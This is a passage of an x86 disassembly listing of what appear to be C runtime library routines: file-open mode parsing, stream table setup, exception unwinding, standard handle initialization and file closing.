		jmp	loc_408760
; ---------------------------------------------------------------------------

loc_408697:				; CODE XREF: sub_4085AF+B7j
		test	byte ptr [ebp+arg_4], 40h
		jnz	loc_408755
		or	[ebp+arg_4], 40h
		jmp	loc_408760
; ---------------------------------------------------------------------------

loc_4086AA:				; CODE XREF: sub_4085AF+B2j
		mov	[ebp+var_10], 1
		jmp	loc_408755
; ---------------------------------------------------------------------------

loc_4086B6:				; CODE XREF: sub_4085AF+AFj
		test	byte ptr [ebp+arg_4], 2
		jnz	loc_408755
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFFFFEh
		or	eax, 2
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFFFFCh
		or	eax, edx
		mov	[ebp+var_4], eax
		jmp	loc_408760
; ---------------------------------------------------------------------------

loc_4086DC:				; CODE XREF: sub_4085AF+9Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_408755
		or	[ebp+arg_4], 20h
		mov	[ebp+var_8], 1
		jmp	short loc_408760
; ---------------------------------------------------------------------------

loc_4086EE:				; CODE XREF: sub_4085AF+97j
		sub	eax, 54h
		jz	short loc_40874D
		sub	eax, 0Eh
		jz	short loc_40873C
		dec	eax
		jz	short loc_40872B
		sub	eax, 0Bh
		jz	short loc_408716
		sub	eax, 6
		jnz	loc_4087F0
		test	word ptr [ebp+arg_4], 0C000h
		jnz	short loc_408755
		or	[ebp+arg_4], edi
		jmp	short loc_408760
; ---------------------------------------------------------------------------

loc_408716:				; CODE XREF: sub_4085AF+14Fj
		cmp	[ebp+var_C], ebx
		jnz	short loc_408755
		and	[ebp+var_4], 0FFFFBFFFh
		mov	[ebp+var_C], 1
		jmp	short loc_408760
; ---------------------------------------------------------------------------

loc_40872B:				; CODE XREF: sub_4085AF+14Aj
		cmp	[ebp+var_C], ebx
		jnz	short loc_408755
		or	[ebp+var_4], edi
		mov	[ebp+var_C], 1
		jmp	short loc_408760
; ---------------------------------------------------------------------------

loc_40873C:				; CODE XREF: sub_4085AF+147j
		test	word ptr [ebp+arg_4], 0C000h
		jnz	short loc_408755
		or	[ebp+arg_4], 8000h
		jmp	short loc_408760
; ---------------------------------------------------------------------------

loc_40874D:				; CODE XREF: sub_4085AF+142j
		test	word ptr [ebp+arg_4], 1000h
		jz	short loc_408759

loc_408755:				; CODE XREF: sub_4085AF+CAj
					; sub_4085AF+ECj ...
		xor	ecx, ecx
		jmp	short loc_408760
; ---------------------------------------------------------------------------

loc_408759:				; CODE XREF: sub_4085AF+1A4j
		or	[ebp+arg_4], 1000h

loc_408760:				; CODE XREF: sub_4085AF+A6j
					; sub_4085AF+DBj ...
		inc	esi
		mov	al, [esi]
		cmp	al, bl
		jnz	loc_408638

loc_40876B:				; CODE XREF: sub_4085AF+8Bj
		cmp	[ebp+var_10], ebx
		jz	short loc_4087E7
		jmp	short loc_408773
; ---------------------------------------------------------------------------

loc_408772:				; CODE XREF: sub_4085AF+1C7j
		inc	esi

loc_408773:				; CODE XREF: sub_4085AF+1C1j
		cmp	byte ptr [esi],	20h
		jz	short loc_408772
		push	4
		push	esi
		push	offset aCcs	; "ccs="
		call	sub_40EEE0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4087F0
		add	esi, 4
		push	offset aUtf8	; "UTF-8"
		push	esi
		call	sub_40ED64
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4087AC
		add	esi, 5
		or	[ebp+arg_4], 40000h
		jmp	short loc_4087E7
; ---------------------------------------------------------------------------

loc_4087AC:				; CODE XREF: sub_4085AF+1EFj
		push	offset aUtf16le	; "UTF-16LE"
		push	esi
		call	sub_40ED64
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4087C9
		add	esi, 8
		or	[ebp+arg_4], 20000h
		jmp	short loc_4087E7
; ---------------------------------------------------------------------------

loc_4087C9:				; CODE XREF: sub_4085AF+20Cj
		push	offset aUnicode	; "UNICODE"
		push	esi
		call	sub_40ED64
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4087F0
		add	esi, 7
		or	[ebp+arg_4], 10000h
		jmp	short loc_4087E7
; ---------------------------------------------------------------------------

loc_4087E6:				; CODE XREF: sub_4085AF+23Bj
		inc	esi

loc_4087E7:				; CODE XREF: sub_4085AF+79j
					; sub_4085AF+1BFj ...
		cmp	byte ptr [esi],	20h
		jz	short loc_4087E6
		cmp	[esi], bl
		jz	short loc_40880A

loc_4087F0:				; CODE XREF: sub_4085AF+C1j
					; sub_4085AF+154j ...
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		jmp	short loc_408828
; ---------------------------------------------------------------------------

loc_40880A:				; CODE XREF: sub_4085AF+23Fj
		push	180h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	sub_40EB2C
		add	esp, 14h
		test	eax, eax
		jz	short loc_40882C

loc_408828:				; CODE XREF: sub_4085AF+259j
		xor	eax, eax
		jmp	short loc_40884C
; ---------------------------------------------------------------------------

loc_40882C:				; CODE XREF: sub_4085AF+277j
		mov	eax, [ebp+arg_C]
		inc	dword_427A08
		mov	ecx, [ebp+var_4]
		mov	[eax+0Ch], ecx
		mov	ecx, [ebp+var_10]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_40884C:				; CODE XREF: sub_4085AF+27Bj
		pop	edi

loc_40884D:				; CODE XREF: sub_4085AF+4Ej
		pop	esi
		pop	ebx
		leave
		retn
sub_4085AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408851	proc near		; CODE XREF: sub_4034F0+54p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset dword_421848
		call	__SEH_prolog4
		xor	ebx, ebx
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	1
		call	sub_405DA7
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		xor	esi, esi

loc_408871:				; CODE XREF: sub_408851+85j
		mov	[ebp+var_20], esi
		cmp	esi, dword_436820
		jge	loc_408941
		mov	eax, dword_435800
		lea	eax, [eax+esi*4]
		cmp	[eax], ebx
		jz	short loc_4088DC
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jnz	short loc_4088D5
		lea	eax, [esi-3]
		cmp	eax, 10h
		ja	short loc_4088AE
		lea	eax, [esi+10h]
		push	eax
		call	sub_405CE4
		pop	ecx
		test	eax, eax
		jz	loc_408941

loc_4088AE:				; CODE XREF: sub_408851+49j
		mov	eax, dword_435800
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_40853A
		pop	ecx
		pop	ecx
		mov	eax, dword_435800
		mov	eax, [eax+esi*4]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4088D8
		push	eax
		push	esi
		call	sub_40858C
		pop	ecx
		pop	ecx

loc_4088D5:				; CODE XREF: sub_408851+41j
		inc	esi
		jmp	short loc_408871
; ---------------------------------------------------------------------------

loc_4088D8:				; CODE XREF: sub_408851+79j
		mov	edi, eax
		jmp	short loc_40893E
; ---------------------------------------------------------------------------

loc_4088DC:				; CODE XREF: sub_408851+39j
		shl	esi, 2
		push	38h
		call	sub_407AEA
		pop	ecx
		mov	ecx, dword_435800
		mov	[esi+ecx], eax
		mov	eax, dword_435800
		add	eax, esi
		cmp	[eax], ebx
		jz	short loc_408941
		push	0FA0h
		mov	eax, [eax]
		add	eax, 20h
		push	eax
		call	sub_40CEC4
		pop	ecx
		pop	ecx
		test	eax, eax
		mov	eax, dword_435800
		jnz	short loc_408929
		push	dword ptr [esi+eax]
		call	sub_4039C3
		pop	ecx
		mov	eax, dword_435800
		mov	[esi+eax], ebx
		jmp	short loc_408941
; ---------------------------------------------------------------------------

loc_408929:				; CODE XREF: sub_408851+C3j
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:dword_41D164	; RtlEnterCriticalSection
		mov	eax, dword_435800
		mov	edi, [esi+eax]

loc_40893E:				; CODE XREF: sub_408851+89j
		mov	[ebp+var_1C], edi

loc_408941:				; CODE XREF: sub_408851+29j
					; sub_408851+57j ...
		cmp	edi, ebx
		jz	short loc_408957
		mov	[edi+4], ebx
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi], ebx
		mov	[edi+1Ch], ebx
		or	dword ptr [edi+10h], 0FFFFFFFFh

loc_408957:				; CODE XREF: sub_408851+F2j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40896E
		mov	eax, edi
		call	__SEH_epilog4
		retn
sub_408851	endp


; =============== S U B	R O U T	I N E =======================================



sub_40896B	proc near		; DATA XREF: c.7ld2ih:00421860o
		mov	edi, [ebp-1Ch]
sub_40896B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40896E	proc near		; CODE XREF: sub_408851+10Dp
		push	1
		call	sub_405CCF
		pop	ecx
		retn
sub_40896E	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_408978	proc near		; CODE XREF: sub_4034F0+8Ap
					; sub_408978+BDp ...

var_20		= dword	ptr -20h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_8]
		push	ebp
		push	edx
		push	eax
		push	ecx
		push	ecx
		push	offset loc_408A08
		push	large dword ptr	fs:0
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+28h+var_20], eax
		mov	large fs:0, esp

loc_4089AA:				; CODE XREF: sub_408978+64j
					; sub_408978+80j
		mov	eax, [esp+28h+arg_4]
		mov	ebx, [eax+8]
		mov	ecx, [esp+28h+arg_0]
		xor	ebx, [ecx]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFEh
		jz	short loc_4089FA
		mov	edx, [esp+28h+arg_8]
		cmp	edx, 0FFFFFFFEh
		jz	short loc_4089CC
		cmp	esi, edx
		jbe	short loc_4089FA

loc_4089CC:				; CODE XREF: sub_408978+4Ej
		lea	esi, [esi+esi*2]
		lea	ebx, [ebx+esi*4+10h]
		mov	ecx, [ebx]
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_4089AA
		push	101h
		mov	eax, [ebx+8]
		call	sub_40F00D
		mov	ecx, 1
		mov	eax, [ebx+8]
		call	sub_40F02C
		jmp	short loc_4089AA
; ---------------------------------------------------------------------------

loc_4089FA:				; CODE XREF: sub_408978+45j
					; sub_408978+52j
		pop	large dword ptr	fs:0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_408A08:				; DATA XREF: sub_408978+14o
		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_408A4D
		mov	eax, [esp+arg_4]
		mov	ecx, [eax+8]
		xor	ecx, eax
		call	sub_402AD0
		push	ebp
		mov	ebp, [eax+18h]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+14h]
		call	sub_408978
		add	esp, 0Ch
		pop	ebp
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_408A4D:				; CODE XREF: sub_408978+A0j
		retn
sub_408978	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		push	dword ptr [ecx+1Ch]
		push	dword ptr [ecx+18h]
		push	dword ptr [ecx+28h]
		call	sub_408978
		add	esp, 0Ch
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_408A6A	proc near		; CODE XREF: sub_4069F0+89p
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	ebp, edx
		xor	eax, eax
		xor	ebx, ebx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	ecx
		pop	ebx
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_408A6A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4069F0

loc_408A81:				; CODE XREF: sub_4069F0+170j
		mov	ebp, edx
		mov	esi, ecx
		mov	eax, ecx
		push	1
		call	sub_40F00D
		xor	eax, eax
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	edi, edi
		jmp	esi
; END OF FUNCTION CHUNK	FOR sub_4069F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A9A	proc near		; CODE XREF: sub_4069F0+11Fp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	0
		push	0
		push	offset loc_408AAF
		push	ecx
		call	sub_413D26

loc_408AAF:				; DATA XREF: sub_408A9A+Ao
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_408A9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_408AB4	proc near		; CODE XREF: sub_4069F0+137p
					; sub_4069F0+18Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	edx
		push	ecx
		push	[esp+0Ch+arg_4]
		call	sub_408978
		add	esp, 0Ch
		pop	ebp
		retn	8
sub_408AB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_408ACB	proc near		; CODE XREF: sub_4035C7+10Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_408DD0
		push	eax
		call	sub_40D8F0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_408B5D
		call	sub_408434
		add	eax, 20h
		cmp	esi, eax
		jnz	short loc_408AF2
		xor	eax, eax
		jmp	short loc_408B01
; ---------------------------------------------------------------------------

loc_408AF2:				; CODE XREF: sub_408ACB+21j
		call	sub_408434
		add	eax, 40h
		cmp	esi, eax
		jnz	short loc_408B5D
		xor	eax, eax
		inc	eax

loc_408B01:				; CODE XREF: sub_408ACB+25j
		inc	dword_427A08
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_408B5D
		push	ebx
		push	edi
		lea	edi, ds:427A0Ch[eax*4]
		cmp	dword ptr [edi], 0
		mov	ebx, 1000h
		jnz	short loc_408B42
		push	ebx
		call	sub_407AEA
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_408B42
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_408B4F
; ---------------------------------------------------------------------------

loc_408B42:				; CODE XREF: sub_408ACB+55j
					; sub_408ACB+62j
		mov	edi, [edi]
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+18h], ebx
		mov	[esi+4], ebx

loc_408B4F:				; CODE XREF: sub_408ACB+75j
		or	dword ptr [esi+0Ch], 1102h
		pop	edi
		xor	eax, eax
		pop	ebx
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_408B5D:				; CODE XREF: sub_408ACB+15j
					; sub_408ACB+31j ...
		xor	eax, eax
		pop	esi
		retn
sub_408ACB	endp


; =============== S U B	R O U T	I N E =======================================



sub_408B61	proc near		; CODE XREF: sub_4035C7+128p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		jz	short locret_408B8F
		push	esi
		mov	esi, [esp+4+arg_4]
		test	word ptr [esi+0Ch], 1000h
		jz	short loc_408B8E
		push	esi
		call	sub_408F8A
		and	dword ptr [esi+0Ch], 0FFFFEEFFh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx

loc_408B8E:				; CODE XREF: sub_408B61+12j
		pop	esi

locret_408B8F:				; CODE XREF: sub_408B61+5j
		retn
sub_408B61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B90	proc near		; CODE XREF: .text:004043EEp

var_64		= byte ptr -64h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	54h
		push	offset dword_421868
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [ebp+var_64]
		push	eax
		call	ds:off_41D1A8
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		push	28h
		push	20h
		pop	esi
		push	esi
		call	sub_407B2A
		pop	ecx
		pop	ecx
		cmp	eax, edi
		jz	loc_408DC7
		mov	dword_435700, eax
		mov	dword_4356E8, esi
		lea	ecx, [eax+500h]
		jmp	short loc_408C03
; ---------------------------------------------------------------------------

loc_408BDA:				; CODE XREF: sub_408B90+75j
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	[eax+8], edi
		mov	byte ptr [eax+24h], 0
		mov	byte ptr [eax+25h], 0Ah
		mov	byte ptr [eax+26h], 0Ah
		add	eax, 28h
		mov	ecx, dword_435700
		add	ecx, 500h

loc_408C03:				; CODE XREF: sub_408B90+48j
		cmp	eax, ecx
		jb	short loc_408BDA
		cmp	[ebp+var_32], di
		jz	loc_408D0E
		mov	eax, [ebp+var_30]
		cmp	eax, edi
		jz	loc_408D0E
		mov	edi, [eax]
		lea	ebx, [eax+4]
		lea	eax, [ebx+edi]
		mov	[ebp+var_1C], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_408C32
		mov	edi, eax

loc_408C32:				; CODE XREF: sub_408B90+9Ej
		xor	esi, esi
		inc	esi
		jmp	short loc_408C89
; ---------------------------------------------------------------------------

loc_408C37:				; CODE XREF: sub_408B90+FFj
		push	28h
		push	20h
		call	sub_407B2A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_408C93
		lea	ecx, ds:435700h[esi*4]
		mov	[ecx], eax
		add	dword_4356E8, 20h
		lea	edx, [eax+500h]
		jmp	short loc_408C84
; ---------------------------------------------------------------------------

loc_408C5E:				; CODE XREF: sub_408B90+F6j
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		and	dword ptr [eax+8], 0
		and	byte ptr [eax+24h], 80h
		mov	byte ptr [eax+25h], 0Ah
		mov	byte ptr [eax+26h], 0Ah
		add	eax, 28h
		mov	edx, [ecx]
		add	edx, 500h

loc_408C84:				; CODE XREF: sub_408B90+CCj
		cmp	eax, edx
		jb	short loc_408C5E
		inc	esi

loc_408C89:				; CODE XREF: sub_408B90+A5j
		cmp	dword_4356E8, edi
		jl	short loc_408C37
		jmp	short loc_408C99
; ---------------------------------------------------------------------------

loc_408C93:				; CODE XREF: sub_408B90+B4j
		mov	edi, dword_4356E8

loc_408C99:				; CODE XREF: sub_408B90+101j
		and	[ebp+var_20], 0
		test	edi, edi
		jle	short loc_408D0E

loc_408CA1:				; CODE XREF: sub_408B90+17Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_408D01
		cmp	ecx, 0FFFFFFFEh
		jz	short loc_408D01
		mov	al, [ebx]
		test	al, 1
		jz	short loc_408D01
		test	al, 8
		jnz	short loc_408CC5
		push	ecx
		call	ds:dword_41D144	; GetFileType
		test	eax, eax
		jz	short loc_408D01

loc_408CC5:				; CODE XREF: sub_408B90+128j
		mov	esi, [ebp+var_20]
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		imul	esi, 28h
		add	esi, dword_435700[eax*4]
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[esi], eax
		mov	al, [ebx]
		mov	[esi+4], al
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_40CEC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_408DC7
		inc	dword ptr [esi+8]

loc_408D01:				; CODE XREF: sub_408B90+119j
					; sub_408B90+11Ej ...
		inc	[ebp+var_20]
		inc	ebx
		add	[ebp+var_1C], 4
		cmp	[ebp+var_20], edi
		jl	short loc_408CA1

loc_408D0E:				; CODE XREF: sub_408B90+7Bj
					; sub_408B90+86j ...
		xor	ebx, ebx

loc_408D10:				; CODE XREF: sub_408B90+213j
		mov	esi, ebx
		imul	esi, 28h
		add	esi, dword_435700
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408D2D
		cmp	eax, 0FFFFFFFEh
		jz	short loc_408D2D
		or	byte ptr [esi+4], 80h
		jmp	short loc_408D9F
; ---------------------------------------------------------------------------

loc_408D2D:				; CODE XREF: sub_408B90+190j
					; sub_408B90+195j
		mov	byte ptr [esi+4], 81h
		test	ebx, ebx
		jnz	short loc_408D3A
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_408D44
; ---------------------------------------------------------------------------

loc_408D3A:				; CODE XREF: sub_408B90+1A3j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_408D44:				; CODE XREF: sub_408B90+1A8j
		push	eax
		call	ds:dword_41D148	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_408D95
		test	edi, edi
		jz	short loc_408D95
		push	edi
		call	ds:dword_41D144	; GetFileType
		test	eax, eax
		jz	short loc_408D95
		mov	[esi], edi
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_408D73
		or	byte ptr [esi+4], 40h
		jmp	short loc_408D7C
; ---------------------------------------------------------------------------

loc_408D73:				; CODE XREF: sub_408B90+1DBj
		cmp	eax, 3
		jnz	short loc_408D7C
		or	byte ptr [esi+4], 8

loc_408D7C:				; CODE XREF: sub_408B90+1E1j
					; sub_408B90+1E6j
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_40CEC4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_408DC7
		inc	dword ptr [esi+8]
		jmp	short loc_408D9F
; ---------------------------------------------------------------------------

loc_408D95:				; CODE XREF: sub_408B90+1C0j
					; sub_408B90+1C4j ...
		or	byte ptr [esi+4], 40h
		mov	dword ptr [esi], 0FFFFFFFEh

loc_408D9F:				; CODE XREF: sub_408B90+19Bj
					; sub_408B90+203j
		inc	ebx
		cmp	ebx, 3
		jl	loc_408D10
		push	dword_4356E8
		call	ds:dword_41D14C	; LockResource
		xor	eax, eax
		jmp	short loc_408DCA
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh

loc_408DC7:				; CODE XREF: sub_408B90+31j
					; sub_408B90+168j ...
		or	eax, 0FFFFFFFFh

loc_408DCA:				; CODE XREF: sub_408B90+227j
		call	__SEH_epilog4
		retn
sub_408B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_408DD0	proc near		; CODE XREF: sub_4035C7+63p
					; sub_4035C7+6Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_408DF8
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_408DF8:				; CODE XREF: sub_408DD0+9j
		mov	eax, [eax+10h]
		pop	esi
		retn
sub_408DD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_408DFD	proc near		; CODE XREF: sub_408E91+94p
					; sub_40E422+340p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_40F12D
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_408E5C
		cmp	esi, 1
		mov	eax, dword_435700
		jnz	short loc_408E1F
		test	byte ptr [eax+54h], 1
		jnz	short loc_408E2A

loc_408E1F:				; CODE XREF: sub_408DFD+1Aj
		cmp	esi, 2
		jnz	short loc_408E40
		test	byte ptr [eax+2Ch], 1
		jz	short loc_408E40

loc_408E2A:				; CODE XREF: sub_408DFD+20j
		push	2
		call	sub_40F12D
		push	1
		mov	edi, eax
		call	sub_40F12D
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_408E5C

loc_408E40:				; CODE XREF: sub_408DFD+25j
					; sub_408DFD+2Bj
		push	esi
		call	sub_40F12D
		pop	ecx
		push	eax
		call	ds:dword_41D0D8	; CloseHandle
		test	eax, eax
		jnz	short loc_408E5C
		call	ds:dword_41D0EC	; RtlGetLastWin32Error
		mov	edi, eax
		jmp	short loc_408E5E
; ---------------------------------------------------------------------------

loc_408E5C:				; CODE XREF: sub_408DFD+10j
					; sub_408DFD+41j ...
		xor	edi, edi

loc_408E5E:				; CODE XREF: sub_408DFD+5Dj
		push	esi
		call	sub_40F0AC
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		test	edi, edi
		mov	eax, dword_435700[eax*4]
		pop	ecx
		mov	byte ptr [eax+esi+4], 0
		jz	short loc_408E8C
		push	edi
		call	sub_405BA9
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_408E8E
; ---------------------------------------------------------------------------

loc_408E8C:				; CODE XREF: sub_408DFD+81j
		xor	eax, eax

loc_408E8E:				; CODE XREF: sub_408DFD+8Dj
		pop	edi
		pop	esi
		retn
sub_408DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E91	proc near		; CODE XREF: sub_403811+48p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_421888
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_408EC0
		call	sub_405B96
		and	dword ptr [eax], 0
		call	sub_405B83
		mov	dword ptr [eax], 9

loc_408EB8:				; CODE XREF: sub_408E91+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_408F4E
; ---------------------------------------------------------------------------

loc_408EC0:				; CODE XREF: sub_408E91+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_408ECE
		cmp	eax, dword_4356E8
		jb	short loc_408EEF

loc_408ECE:				; CODE XREF: sub_408E91+33j
					; sub_408E91+7Cj
		call	sub_405B96
		mov	[eax], edi
		call	sub_405B83
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_4032F9
		add	esp, 14h
		jmp	short loc_408EB8
; ---------------------------------------------------------------------------

loc_408EEF:				; CODE XREF: sub_408E91+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:435700h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_408ECE
		push	eax
		call	sub_40F19E
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_408F30
		push	[ebp+arg_0]
		call	sub_408DFD
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_408F3F
; ---------------------------------------------------------------------------

loc_408F30:				; CODE XREF: sub_408E91+8Fj
		call	sub_405B83
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh

loc_408F3F:				; CODE XREF: sub_408E91+9Dj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_408F54
		mov	eax, [ebp+var_1C]

loc_408F4E:				; CODE XREF: sub_408E91+2Aj
		call	__SEH_epilog4
		retn
sub_408E91	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F54	proc near		; CODE XREF: sub_408E91+B5p
					; DATA XREF: c.7ld2ih:004218A0o
		push	dword ptr [ebp+8]
		call	sub_40F23E
		pop	ecx
		retn
sub_408F54	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F5E	proc near		; CODE XREF: sub_403811+3Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_408F88
		test	al, 8
		jz	short loc_408F88
		push	dword ptr [esi+8]
		call	sub_4039C3
		and	dword ptr [esi+0Ch], 0FFFFFBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_408F88:				; CODE XREF: sub_408F5E+Aj
					; sub_408F5E+Ej
		pop	esi
		retn
sub_408F5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F8A	proc near		; CODE XREF: sub_403811+34p
					; sub_408B61+15p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	cl, 3
		xor	ebx, ebx
		cmp	cl, 2
		jnz	short loc_408FDE
		test	ax, 108h
		jz	short loc_408FDE
		mov	eax, [esi+8]
		push	edi
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_408FDD
		push	edi
		push	eax
		push	esi
		call	sub_408DD0
		pop	ecx
		push	eax
		call	sub_40D7D0
